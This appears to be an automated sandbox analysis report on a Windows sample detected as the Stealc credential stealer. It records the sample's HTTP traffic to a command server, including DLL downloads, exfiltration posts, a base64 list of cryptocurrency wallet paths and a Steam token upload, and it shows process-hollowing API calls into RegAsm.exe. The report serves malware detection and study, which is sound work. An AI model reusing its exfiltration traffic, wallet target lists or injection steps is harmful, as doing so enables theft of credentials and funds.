01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 27, 2024 18:29:09.554629087 CEST	96	OUT	GET /97f9710b31d15029/vcruntime140.dll HTTP/1.1 Host: 194.87.29.53 Cache-Control: no-cache
Sep 27, 2024 18:29:09.746638060 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 27, 2024 18:29:09.918530941 CEST	200	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEB Host: 194.87.29.53 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 18:29:10.263377905 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:10.312014103 CEST	466	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJ Host: 194.87.29.53 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="message"wallets------DGHDHIDGHIDGIECBKKJJ--
Sep 27, 2024 18:29:10.816220999 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 27, 2024 18:29:10.819216013 CEST	464	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 194.87.29.53 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="message"files------IECFIEGDBKJKFIDHIECG--
Sep 27, 2024 18:29:11.013259888 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:11.021774054 CEST	562	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEB Host: 194.87.29.53 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="file"------KECBGCGCGIEGCBFHIIEB--
Sep 27, 2024 18:29:11.267360926 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:11.270138979 CEST	471	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAKFBGCBFHIJKECGIIJ Host: 194.87.29.53 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 2d 2d 0d 0a Data Ascii: ------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="message"ybncbhylepme------HCAKFBGCBFHIJKECGIIJ--
Sep 27, 2024 18:29:11.485166073 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:11.486610889 CEST	471	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 194.87.29.53 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAAAAFBKFIECAAKECGCA--
Sep 27, 2024 18:29:11.700093031 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	12:28:58
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x50000
File size:	324'608 bytes
MD5 hash:	48B59BD4C9219CC6F4BCA6A45642DCBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1700536753.0000000003595000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:28:58
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:28:59
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:28:59
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xdc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	39.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	47.1%
Total number of Nodes:	17
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0259212D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0259209F,0259208F), ref: 0259229C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 025922AF
Wow64GetThreadContext.KERNEL32(00000320,00000000), ref: 025922CD
ReadProcessMemory.KERNELBASE(00000324,?,025920E3,00000004,00000000), ref: 025922F1
VirtualAllocEx.KERNELBASE(00000324,?,?,00003000,00000040), ref: 0259231C
TerminateProcess.KERNELBASE(00000324,00000000), ref: 0259233B
WriteProcessMemory.KERNELBASE(00000324,00000000,?,?,00000000,?), ref: 02592374
WriteProcessMemory.KERNELBASE(00000324,00400000,?,?,00000000,?,00000028), ref: 025923BF
WriteProcessMemory.KERNELBASE(00000324,-00000008,?,00000004,00000000), ref: 025923FD
Wow64SetThreadContext.KERNEL32(00000320,009A0000), ref: 02592439
ResumeThread.KERNELBASE(00000320), ref: 02592448

Strings

ResumeThread, xrefs: 02592269
GetThreadContext, xrefs: 02592207
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 0259229B
TerminateProcess, xrefs: 0259232B
SetThreadContext, xrefs: 02592253
aryA, xrefs: 02592173
WriteProcessMemory, xrefs: 02592240
Load, xrefs: 0259216B
CreateProcessA, xrefs: 025921E1
ReadProcessMemory, xrefs: 0259221A
VirtualAllocEx, xrefs: 0259222D
VirtualAlloc, xrefs: 025921F4
GetP, xrefs: 025921AF
ress, xrefs: 025921B7

Memory Dump Source

Source File: 00000000.00000002.1699559033.0000000002591000.00000040.00000800.00020000.00000000.sdmp, Offset: 02591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2591000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 77d5884336921c0b6f5ac3b3c9667d8393678a71c78df1a4f61c580e79f7b59c
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: E5B1E57664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CEB341D774FA518B94

Function 006C1271 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 006C12F8

Memory Dump Source

Source File: 00000000.00000002.1699134645.00000000006C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 809c97d094f00b66d47ff47cfece289133ec8be92616ed459c4cdb4a66c67a67
Instruction ID: d71d3ac2b361795e9f7f7527865e70cd41a4dddcdec48a3655029d7ea27f641a
Opcode Fuzzy Hash: 809c97d094f00b66d47ff47cfece289133ec8be92616ed459c4cdb4a66c67a67
Instruction Fuzzy Hash: F62132B58002489FCB10CFAAC880AEEBFF0FF89310F10842EE959A7250C7746945CFA1

Function 006C1278 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 006C12F8

Memory Dump Source

Source File: 00000000.00000002.1699134645.00000000006C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a74a54a9d59fae9cba6b6c572850a3cecb64805e24f824dd7abe344ec8f2812a
Instruction ID: 4c02d250d9f212b2b04dcd1977ce7688534ed64a0a0a505c3b260a8670c89a2f
Opcode Fuzzy Hash: a74a54a9d59fae9cba6b6c572850a3cecb64805e24f824dd7abe344ec8f2812a
Instruction Fuzzy Hash: E42113B59002599FCB10DFAAC880AEEFBF5FF49310F10842EE919A7250C774A944CFA5

Analysis Process: RegAsm.exePID: 7476, Parent PID: 7404COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
